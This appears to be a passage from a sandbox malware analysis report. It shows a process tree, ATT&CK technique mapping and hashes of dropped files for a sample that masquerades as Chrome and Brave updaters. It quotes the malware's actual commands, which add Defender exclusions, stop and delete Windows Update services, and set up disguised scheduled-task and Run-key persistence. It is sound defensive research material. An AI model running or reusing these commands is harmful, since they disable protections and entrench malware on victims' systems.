  C:\Windows\System32\dllhost.exe /Processid:{f0653c65-f644-4bf0-a9aa-0acb15f8813e}
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:22840

C:\Windows\system32\Dwm.exe
"C:\Windows\system32\Dwm.exe"
1⤵
PID:1184

\\?\C:\Windows\system32\wbem\WMIADAP.EXE
wmiadap.exe /F /T /R
1⤵
PID:2004

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:1244
- C:\Users\Admin\AppData\Local\Temp\DDC401C77FCD4153860CC36056D6C4FC725910E38C09E.exe
  "C:\Users\Admin\AppData\Local\Temp\DDC401C77FCD4153860CC36056D6C4FC725910E38C09E.exe"
  2⤵
  - Suspicious use of SetThreadContext
  - Suspicious use of WriteProcessMemory
  PID:1212
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
    3⤵
    - Loads dropped DLL
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:100048
  - - C:\Users\Admin\AppData\Local\Microsoft\ofg.exe
      "C:\Users\Admin\AppData\Local\Microsoft\ofg.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:100080
    - - C:\Windows\system32\cmd.exe
        
        "cmd.exe" /C schtasks /create /tn \o5jbkg8hsq /tr "C:\Users\Admin\AppData\Roaming\o5jbkg8hsq\svcupdater.exe" /st 00:00 /du 9999:59 /sc once /ri 1 /f
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:1524
      - C:\Windows\system32\schtasks.exe
        
        schtasks /create /tn \o5jbkg8hsq /tr "C:\Users\Admin\AppData\Roaming\o5jbkg8hsq\svcupdater.exe" /st 00:00 /du 9999:59 /sc once /ri 1 /f
        6⤵
        Creates scheduled task(s)
        
        PID:1400
  - - C:\Users\Admin\AppData\Local\Microsoft\test.exe
      "C:\Users\Admin\AppData\Local\Microsoft\test.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of SetThreadContext
      PID:1340
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
        5⤵
        Loads dropped DLL
        Checks processor information in registry
        Suspicious behavior: EnumeratesProcesses
        
        PID:1740
      - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c timeout /t 6 & del /f /q "C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe" & exit
        6⤵
        
        PID:22536
        
        C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 6
        7⤵
        Delays execution with timeout.exe
        
        PID:22684
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 1340 -s 88268
        5⤵
        Loads dropped DLL
        Program crash
        
        PID:272
  - - C:\Users\Admin\AppData\Local\Microsoft\brave.exe
      "C:\Users\Admin\AppData\Local\Microsoft\brave.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of SetThreadContext
      Drops file in Program Files directory
      PID:8188
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:21760
    - - C:\Windows\system32\cmd.exe
        
        cmd /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
        5⤵
        
        PID:21912
      - C:\Windows\system32\sc.exe
        
        sc stop UsoSvc
        6⤵
        Launches sc.exe
        
        PID:21996
      - C:\Windows\system32\sc.exe
        
        sc stop WaaSMedicSvc
        6⤵
        Launches sc.exe
        
        PID:22016
      - C:\Windows\system32\sc.exe
        
        sc stop wuauserv
        6⤵
        Launches sc.exe
        
        PID:22084
      - C:\Windows\system32\sc.exe
        
        sc stop bits
        6⤵
        Launches sc.exe
        
        PID:22104
      - C:\Windows\system32\sc.exe
        
        sc stop dosvc
        6⤵
        Launches sc.exe
        
        PID:22144
      - C:\Windows\system32\reg.exe
        
        reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
        6⤵
        
        PID:22172
      - C:\Windows\system32\reg.exe
        
        reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
        6⤵
        
        PID:22200
      - C:\Windows\system32\reg.exe
        
        reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
        6⤵
        Modifies security service
        
        PID:22212
      - C:\Windows\system32\reg.exe
        
        reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
        6⤵
        
        PID:22224
      - C:\Windows\system32\reg.exe
        
        reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
        6⤵
        
        PID:22260
    - - C:\Windows\system32\cmd.exe
        
        cmd /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
        5⤵
        
        PID:21924
      - C:\Windows\system32\powercfg.exe
        
        powercfg /x -hibernate-timeout-ac 0
        6⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:21984
      - C:\Windows\system32\powercfg.exe
        
        powercfg /x -hibernate-timeout-dc 0
        6⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:22068
      - C:\Windows\system32\powercfg.exe
        
        powercfg /x -standby-timeout-ac 0
        6⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:22116
      - C:\Windows\system32\powercfg.exe
        
        powercfg /x -standby-timeout-dc 0
        6⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:22132
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell <#ecgxrz#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { "schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe'''" } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:21944
      - C:\Windows\system32\schtasks.exe
        
        "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
        6⤵
        Creates scheduled task(s)
        
        PID:22236
    - - C:\Windows\system32\dialer.exe
        
        C:\Windows\system32\dialer.exe
        5⤵
        Drops file in Windows directory
        
        PID:22356
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell <#wajvhwink#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:22368
      - C:\Windows\system32\schtasks.exe
        
        "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
        6⤵
        
        PID:22464
  - - C:\Users\Admin\AppData\Local\Microsoft\chrome.exe
      "C:\Users\Admin\AppData\Local\Microsoft\chrome.exe"
      4⤵
      Executes dropped EXE
      Drops file in Windows directory
      Suspicious use of WriteProcessMemory
      PID:9480
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:14340
    - - C:\Windows\SysWOW64\SCHTASKS.exe
        
        SCHTASKS /Create /TR "C:\Users\Admin\AppData\Local\Microsoft\chrome.exe" /TN "GoogleUpdateTask{56c41dbe-92cb-4ab7-b423-bd40cb65f9fe}" /SC ONLOGON /F /RL HIGHEST
        5⤵
        Creates scheduled task(s)
        
        PID:14712
    - - C:\Windows\SysWOW64\SCHTASKS.exe
        
        SCHTASKS /Create /TR "C:\Users\Admin\AppData\Local\Microsoft\chrome.exe" /TN "GoogleUpdateTaskUAC{0625ad4f-50a5-4d12-b200-288d853de0d5}" /SC HOURLY /F /MO 1 /RL HIGHEST
        5⤵
        Creates scheduled task(s)
        
        PID:70184
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 9480 -s 212
        5⤵
        Loads dropped DLL
        Program crash
        
        PID:70240

C:\Windows\system32\lsm.exe
C:\Windows\system32\lsm.exe
1⤵
PID:488

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-24331138415448715791704643783-17418849441389932965-1178402540106831533788020122"
1⤵
PID:23880

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-182138091-781989811892386842-1377332055-1038714038-2627165551756986207889219166"
1⤵
PID:24016

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-18725728351874042185-157305719-12832738091478823113132381116612790794557945093"
1⤵
PID:24052

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "1180179528-1314865121006946420-1869845302-1278580536-308310491-1391928635125025440"
1⤵
PID:24064

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "1600238535-1432602678-1962715343601881664155821123614630292131776226122921293368"
1⤵
PID:24816

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

T1053

Scripting

T1064

Persistence

Modify Existing Service

T1031

Registry Run Keys / Startup Folder

T1060

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Impair Defenses

T1562

Modify Registry

T1112

Scripting

T1064

Credential Access

Credentials in Files

T1081

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

updater.exe

Path C:\Program Files\Google\Chrome\updater.exe
Size 3.2MB
SHA256 0af01618c8b68b42870b2fa8b0ee79ce961a3199cd8c006c7d1e770abb93030c
MD5 ae58e8058ae55a3dd3eefccb4a48be78
SHA1 09fc0b2194e8b8b5d690650057805b8966305f3e
SHA512 fadcacb167576455ee3a1ac8e45d34c5d8aeb428490eb14572ecb8580622f5b4d82d46a9823ec0b6e7e0a4637749f8ffc35525ac7068f2236f358c353a447c99
SSDEEP 98304:h+TH5w8D7qD6BlctF/lpx5wwVbJMqyw6jrraMEyR1oujZNXgwVvavDKmU:eH5FDgtFtHX7yw6L/r4KLQwV1
MD5 SHA1 SHA512 SSDEEP

Submit Download

updater.exe

Path C:\Program Files\Google\Chrome\updater.exe
Size 3.2MB
SHA256 0af01618c8b68b42870b2fa8b0ee79ce961a3199cd8c006c7d1e770abb93030c
MD5 ae58e8058ae55a3dd3eefccb4a48be78
SHA1 09fc0b2194e8b8b5d690650057805b8966305f3e
SHA512 fadcacb167576455ee3a1ac8e45d34c5d8aeb428490eb14572ecb8580622f5b4d82d46a9823ec0b6e7e0a4637749f8ffc35525ac7068f2236f358c353a447c99
SSDEEP 98304:h+TH5w8D7qD6BlctF/lpx5wwVbJMqyw6jrraMEyR1oujZNXgwVvavDKmU:eH5FDgtFtHX7yw6L/r4KLQwV1
MD5 SHA1 SHA512 SSDEEP

Submit Download

g.log

Path C:\Program Files\Google\Libs\g.log
Size 198B
SHA256 8066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07
MD5 37dd19b2be4fa7635ad6a2f3238c4af1
SHA1 e5b2c034636b434faee84e82e3bce3a3d3561943
SHA512 86e8550412f282e18ef0c6417ee94e9c141433913452efffb738d92f040e20ecc5e2250e9e2ac1f94c248eab83a601cba5b006e982a4aefe9dcb88e9c53c67e5
MD5 SHA1 SHA512

Submit Download

94308059B57B3142E455B38A6EB92015

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015
Size 60KB
SHA256 f8ebaaf487cba0c81a17c8cd680bdd2dd8e90d2114ecc54844cffc0cc647848e
MD5 d15aaa7c9be910a9898260767e2490e1
SHA1 2090c53f8d9fc3fbdbafd3a1e4dc25520eb74388
SHA512 7e1c1a683914b961b5cc2fe5e4ae288b60bab43bfaa21ce4972772aa0589615c19f57e672e1d93e50a7ed7b76fbd2f1b421089dcaed277120b93f8e91b18af94
SSDEEP 1536:6VT6EGIYmIA2VKd1ZepH+41ZnDVrFyv+7XAZa7pAn:A6JI5IjOcTZDGvYXAZhn
MD5 SHA1 SHA512 SSDEEP

Submit Download

6BADA8974A10C4BD62CC921D13E43B18_28DEA62A0AE77228DD387E155AD0BA27

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\6BADA8974A10C4BD62CC921D13E43B18_28DEA62A0AE77228DD387E155AD0BA27
Size 438B
SHA256 e3fa7924dbee315c3ee30f8fe3c29f51b8ad3f37fdfad10f90c1bf5b3fc81900
MD5 4ecc31f254db616b1811359a79cd2982
SHA1 c6fec595c86f2ba3ee81ece24242b4fbbba835d8
SHA512 7fefa1a526c22acd0059ebd7a45915331af3788819276b059ca8c30b16832b8f521039d0e49d3d04ff2a70e7f085f1d2759d6646b8a3da84b4f32c4d07d81d06
MD5 SHA1 SHA512

Submit Download

94308059B57B3142E455B38A6EB92015

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
Size 304B
SHA256 d6f96d308290124596a0af52f62bf77cf9674d24f6218b620eb3a4ed3e3d69d7
MD5 d3a129b520270b9d646656ca9fb3cf58
SHA1 2fef447064033951b1f4477d35d292e3ee6c2af9
SHA512 b8f94c401d3d2ae821dbe52fdcf3cea02cc0edb06a8e9b690f46d7cc85267f83402795c53705ac8c618a8a822ba181c5d4020def3ab675d28634784e106e377e
MD5 SHA1 SHA512

Submit Download

94308059B57B3142E455B38A6EB92015

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
Size 304B
SHA256 654a48a218e8449f68fbcb7a5f18048ecb86504e6445a3ede4c70f15aedb0761
MD5 b0b7b2692cd3d7d7eae5b06264c6c401
SHA1 40199247a76a4397f53c497c40b8888852837446
SHA512 3529e1af2a7447d13d8e7abaa383bfe73fee4659e76f3caa6b378172343f1bc481db6c07f063b2ec9129591a26b92dde1cffb7a875322804fe32f9742c5063e7
MD5 SHA1 SHA512

Submit Download

9FF67FB3141440EED32363089565AE60_FA7D89FF3F7E3B2FB6EEB355120CB669

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\9FF67FB3141440EED32363089565AE60_FA7D89FF3F7E3B2FB6EEB355120CB669
Size 426B
SHA256 8f3db87f56a08defb297f33e3d3429446225cd10c5d7351fe626575e500ec0b3
MD5 35ffb6f6806b4a5be464f3a61e02fd9d
SHA1 e10269d003bb4d7e096eca1f5b8251618db373ab
SHA512 66062be2648f292cfb46faa9c9bbaa7b6bee15624243b9b3f2efbdca4d82755bb565692374c91f7c35c80452c7a927a1b54a8a2da64f632d63b1ba0dda0d7df4
MD5 SHA1 SHA512

Submit Download

E0F5C59F9FA661F6F4C50B87FEF3A15A

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E0F5C59F9FA661F6F4C50B87FEF3A15A
Size 252B
SHA256 f83bc063c5c95cf6d30c41ca54a6135037e8a1de3532f3af013de95eb6c6545c
MD5 c394bdd00c7a3f8b4a0bfa096b88d2f5
SHA1 83433dcb6e4371335ca28a8b9f0901b48099e7e1
SHA512 2fb5f82af58983f3ef9d8a6c747547471b8f734cc9d7263eb2c8af3512b8420de78224c3316bb4990b28ef609fef947d960f247143b3c3ce379ce1907a7e5bdb
MD5 SHA1 SHA512

Submit Download

brave.exe

Path C:\Users\Admin\AppData\Local\Microsoft\brave.exe
Size 3.2MB
SHA256 054174b77c43d2b1a97a1238282818dc2792535ec0e3b94102c58d9d9ffeba15
MD5 872358b05cc08ca705a1a7592c23ecdf
SHA1 388dd6811a9459a2dbc78bdf38ef0477ca5b0704
SHA512 bd12b7d87a172b1efeb1cf2bcf47d1594bb953dc6ac8bdce650f5d58ce818e74e5f90d82c7e4cfa9b39126cc6bc1323c1ba2f8f02b6be13f385ae524f0ac6e2a
SSDEEP 98304:h+TH5w8D7qD6BlctF/lpx5wwVbJMqyw6jrraMEyR1oujZNXgwVvavDKmU:eH5FDgtFtHX7yw6L/r4KLQwV1
MD5 SHA1 SHA512 SSDEEP

Submit Download

brave.exe

Path C:\Users\Admin\AppData\Local\Microsoft\brave.exe
Size 3.2MB
SHA256 054174b77c43d2b1a97a1238282818dc2792535ec0e3b94102c58d9d9ffeba15
MD5 872358b05cc08ca705a1a7592c23ecdf
SHA1 388dd6811a9459a2dbc78bdf38ef0477ca5b0704
SHA512 bd12b7d87a172b1efeb1cf2bcf47d1594bb953dc6ac8bdce650f5d58ce818e74e5f90d82c7e4cfa9b39126cc6bc1323c1ba2f8f02b6be13f385ae524f0ac6e2a
SSDEEP 98304:h+TH5w8D7qD6BlctF/lpx5wwVbJMqyw6jrraMEyR1oujZNXgwVvavDKmU:eH5FDgtFtHX7yw6L/r4KLQwV1
MD5 SHA1 SHA512 SSDEEP

Submit Download

chrome.exe

Path C:\Users\Admin\AppData\Local\Microsoft\chrome.exe
Size 725KB
SHA256 a6ccbe999228a8ef36443b321573865ddf4dac81e20a586d694d8a2ff4837279
MD5 3b21c52f7bf1f84b356020af8c9b3c45
SHA1 38f56daaa3dc98c233c1abcce1a5a864a49da66b
SHA512 445c058ec4f7f50f7774533c82be74c42470377fa00ba26796405069f6a70979a246d6f741ec09813b5a4d3b60420295bea7e0583a09b25296ddeb5ca2b274f0
SSDEEP 12288:z3g7N8dPwA7+hGG0+62Aw3CtJsZQ1qRXs2J2Jc/kXRl0xy:8J8dtiwH2Aw3CknXspJc8X70xy
MD5 SHA1 SHA512 SSDEEP

Submit Download

ofg.exe

Path C:\Users\Admin\AppData\Local\Microsoft\ofg.exe
Size 7KB
SHA256 453755b23c6df8cb1b2955135fe5aa8295eb0ce984f946967847b59cd87239e2
MD5 b491f711272344f719ee13d98ff337bf
SHA1 f6f621d78adba380fd5da1e5b20e51b10e072d5f
SHA512 fe2be4e97f5d20d155bf30c2a5399923c20509fc096dd5abc38d32a08db627f0fdc78bde6699f0c01e50d3aa56b83c88f0b565c68b50e014e91ba4f92e30cc1f
SSDEEP 96:J0yVUrfA9pHTz6mOZDmuitgWeBksyixDIWlVOZBPTRsP0M:ZVz9JDOZadaWeuli95iTu
MD5 SHA1 SHA512 SSDEEP

Submit Download

ofg.exe

Path C:\Users\Admin\AppData\Local\Microsoft\ofg.exe
Size 7KB
SHA256 453755b23c6df8cb1b2955135fe5aa8295eb0ce984f946967847b59cd87239e2
MD5 b491f711272344f719ee13d98ff337bf
SHA1 f6f621d78adba380fd5da1e5b20e51b10e072d5f
SHA512 fe2be4e97f5d20d155bf30c2a5399923c20509fc096dd5abc38d32a08db627f0fdc78bde6699f0c01e50d3aa56b83c88f0b565c68b50e014e91ba4f92e30cc1f
SSDEEP 96:J0yVUrfA9pHTz6mOZDmuitgWeBksyixDIWlVOZBPTRsP0M:ZVz9JDOZadaWeuli95iTu
MD5 SHA1 SHA512 SSDEEP

Submit Download

test.exe

Path C:\Users\Admin\AppData\Local\Microsoft\test.exe
Size 805KB
SHA256 c3271e4c60ae634ced2b7d436db77acffe49ba6332938856067e4f50818acda5
MD5 b229e860a68fa850bc04640ced2de332
SHA1 e64e5115e7035b0667fdd10150251fbc11a17260
SHA512 fe23c8ece807e7c503c652921554acc0dc1f72465778e5c0223076b98e960e47e1a4dfe97bfefaee304fc7f2d6cd4ea87d7d452447e246352de321ab0c7bd9b9
SSDEEP 24576:tLbSJb3kMPFz1oPiapKbcSg0K/cRgOnmq9g63adRgxE:t3g04poPR5SgncOU7m6qExE
MD5 SHA1 SHA512 SSDEEP

Submit Download

test.exe

Path C:\Users\Admin\AppData\Local\Microsoft\test.exe
Size 805KB
SHA256 c3271e4c60ae634ced2b7d436db77acffe49ba6332938856067e4f50818acda5
MD5 b229e860a68fa850bc04640ced2de332
SHA1 e64e5115e7035b0667fdd10150251fbc11a17260
SHA512 fe23c8ece807e7c503c652921554acc0dc1f72465778e5c0223076b98e960e47e1a4dfe97bfefaee304fc7f2d6cd4ea87d7d452447e246352de321ab0c7bd9b9
SSDEEP 24576:tLbSJb3kMPFz1oPiapKbcSg0K/cRgOnmq9g63adRgxE:t3g04poPR5SgncOU7m6qExE
MD5 SHA1 SHA512 SSDEEP

Submit Download

590aee7bdd69b59b.customDestinations-ms

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Size 7KB
SHA256 4ecfd1b60559675ad51b7bc8afc43cfde08d3f57ce7a40b537fe6713e05a39b5
MD5 352b7da9a15a079dac16f439e0477311
SHA1 92a7f4f4e8cd2e2606c88027b5049839cc785e93
SHA512 d4b54b483817c91e7e47914f89cbc52828510f6907083bf04710d580bf89ebfc8470e7393a189b65089a5b27cbb811fe24fc6046791bedba2cb9e4b962c9150b
SSDEEP 96:chmxCNM82nqvsqvJCwod51hmxCNM82nqvsEHyqvJCwor/5LM2TQHqB7v2XlUVScC:ErSUo/rSAHnortp3B7v2v
MD5 SHA1 SHA512 SSDEEP

Submit Download

590aee7bdd69b59b.customDestinations-ms

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Size 7KB
SHA256 4ecfd1b60559675ad51b7bc8afc43cfde08d3f57ce7a40b537fe6713e05a39b5
MD5 352b7da9a15a079dac16f439e0477311
SHA1 92a7f4f4e8cd2e2606c88027b5049839cc785e93
SHA512 d4b54b483817c91e7e47914f89cbc52828510f6907083bf04710d580bf89ebfc8470e7393a189b65089a5b27cbb811fe24fc6046791bedba2cb9e4b962c9150b
SSDEEP 96:chmxCNM82nqvsqvJCwod51hmxCNM82nqvsEHyqvJCwor/5LM2TQHqB7v2XlUVScC:ErSUo/rSAHnortp3B7v2v
MD5 SHA1 SHA512 SSDEEP

Submit Download

svcupdater.exe

Path C:\Users\Admin\AppData\Roaming\o5jbkg8hsq\svcupdater.exe
Size 7KB
SHA256 453755b23c6df8cb1b2955135fe5aa8295eb0ce984f946967847b59cd87239e2
MD5 b491f711272344f719ee13d98ff337bf
SHA1 f6f621d78adba380fd5da1e5b20e51b10e072d5f
SHA512 fe2be4e97f5d20d155bf30c2a5399923c20509fc096dd5abc38d32a08db627f0fdc78bde6699f0c01e50d3aa56b83c88f0b565c68b50e014e91ba4f92e30cc1f
SSDEEP 96:J0yVUrfA9pHTz6mOZDmuitgWeBksyixDIWlVOZBPTRsP0M:ZVz9JDOZadaWeuli95iTu
MD5 SHA1 SHA512 SSDEEP

Submit Download

svcupdater.exe

Path C:\Users\Admin\AppData\Roaming\o5jbkg8hsq\svcupdater.exe
Size 7KB
SHA256 453755b23c6df8cb1b2955135fe5aa8295eb0ce984f946967847b59cd87239e2
MD5 b491f711272344f719ee13d98ff337bf
SHA1 f6f621d78adba380fd5da1e5b20e51b10e072d5f
SHA512 fe2be4e97f5d20d155bf30c2a5399923c20509fc096dd5abc38d32a08db627f0fdc78bde6699f0c01e50d3aa56b83c88f0b565c68b50e014e91ba4f92e30cc1f
SSDEEP 96:J0yVUrfA9pHTz6mOZDmuitgWeBksyixDIWlVOZBPTRsP0M:ZVz9JDOZadaWeuli95iTu
MD5 SHA1 SHA512 SSDEEP

Submit Download

dialersvc32.job

Path C:\Windows\Tasks\dialersvc32.job
Size 1KB
SHA256 25e2649c1a3ef102e8044b9aefa1f15f3224390f5936d2bb9aaec9a78520d2ba
MD5 feb111d5c17d139e82d0d97234a469a9
SHA1 7007e7f67960890004ae12e53e0e42d334a2b3e8
SHA512 44e599aa3f715911e0df1ace35a7781ae9e2318f595fc8390814716ef66f8b1985240e09f5115d14ae3a63b8922591bb6d9843f51653397b85288e1dff62c199
MD5 SHA1 SHA512

Submit Download

dialersvc64.job

Path C:\Windows\Tasks\dialersvc64.job
Size 1KB
SHA256 886d9f77ba7e36ff1727a5de733464ffd706f029f483a4c31af7965348c766ed
MD5 7a18533965555be0c17ab3ea7e9a6650
SHA1 5133083abaa5c4b46f7d82a9b692611bb4dfb1a9
SHA512 80e2e5d4c45073fb0de5c246c00538ec877be405014a35c4c0b204c05785b124cbf630a6ce9cb6e29aa7a00044d7293af0385d71112839adcfe2170845732a33
MD5 SHA1 SHA512

Submit Download

updater.exe

Path \Program Files\Google\Chrome\updater.exe
Size 3.2MB
SHA256 0af01618c8b68b42870b2fa8b0ee79ce961a3199cd8c006c7d1e770abb93030c
MD5 ae58e8058ae55a3dd3eefccb4a48be78
SHA1 09fc0b2194e8b8b5d690650057805b8966305f3e
SHA512 fadcacb167576455ee3a1ac8e45d34c5d8aeb428490eb14572ecb8580622f5b4d82d46a9823ec0b6e7e0a4637749f8ffc35525ac7068f2236f358c353a447c99
SSDEEP 98304:h+TH5w8D7qD6BlctF/lpx5wwVbJMqyw6jrraMEyR1oujZNXgwVvavDKmU:eH5FDgtFtHX7yw6L/r4KLQwV1
MD5 SHA1 SHA512 SSDEEP

Submit Download

mozglue.dll

Path \ProgramData\mozglue.dll
Size 593KB
SHA256 ba06a6ee0b15f5be5c4e67782eec8b521e36c107a329093ec400fe0404eb196a
MD5 c8fd9be83bc728cc04beffafc2907fe9
SHA1 95ab9f701e0024cedfbd312bcfe4e726744c4f2e
SHA512 fbb446f4a27ef510e616caad52945d6c9cc1fd063812c41947e579ec2b54df57c6dc46237ded80fca5847f38cbe1747a6c66a13e2c8c19c664a72be35eb8b040
SSDEEP 12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5 SHA1 SHA512 SSDEEP

Submit Download

nss3.dll

Path \ProgramData\nss3.dll
Size 2.0MB
SHA256 ac5c92fe6c51cfa742e475215b83b3e11a4379820043263bf50d4068686c6fa5
MD5 1cc453cdf74f31e4d913ff9c10acdde2
SHA1 6e85eae544d6e965f15fa5c39700fa7202f3aafe
SHA512 dd9ff4e06b00dc831439bab11c10e9b2ae864ea6e780d3835ea7468818f35439f352ef137da111efcdf2bb6465f6ca486719451bf6cf32c6a4420a56b1d64571
SSDEEP 49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5 SHA1 SHA512 SSDEEP

Submit Download

sqlite3.dll

Path \ProgramData\sqlite3.dll
Size 1.1MB
SHA256 4841020c8bd06b08fde6e44cbe2e2ab33439e1c8368e936ec5b00dc0584f7260
MD5 1f44d4d3087c2b202cf9c90ee9d04b0f
SHA1 106a3ebc9e39ab6ddb3ff987efb6527c956f192d
SHA512 b614c72a3c1ce681ebffa628e29aa50275cc80ca9267380960c5198ea4d0a3f2df6cfb7275491d220bad72f14fc94e6656501e9a061d102fb11e00cfda2beb45
SSDEEP 12288:dxylSMUMifofI9ayCvcZMBiMjCodEMdo8R66tCWko5+jsbFcoYuprzpGSgGSrz:d4AMB3caSZMijBI1CWkoj5auF5gGSrz
MD5 SHA1 SHA512 SSDEEP

Submit Download

brave.exe

Path \Users\Admin\AppData\Local\Microsoft\brave.exe
Size 3.2MB
SHA256 054174b77c43d2b1a97a1238282818dc2792535ec0e3b94102c58d9d9ffeba15
MD5 872358b05cc08ca705a1a7592c23ecdf
SHA1 388dd6811a9459a2dbc78bdf38ef0477ca5b0704
SHA512 bd12b7d87a172b1efeb1cf2bcf47d1594bb953dc6ac8bdce650f5d58ce818e74e5f90d82c7e4cfa9b39126cc6bc1323c1ba2f8f02b6be13f385ae524f0ac6e2a
SSDEEP 98304:h+TH5w8D7qD6BlctF/lpx5wwVbJMqyw6jrraMEyR1oujZNXgwVvavDKmU:eH5FDgtFtHX7yw6L/r4KLQwV1
MD5 SHA1 SHA512 SSDEEP

Submit Download

chrome.exe

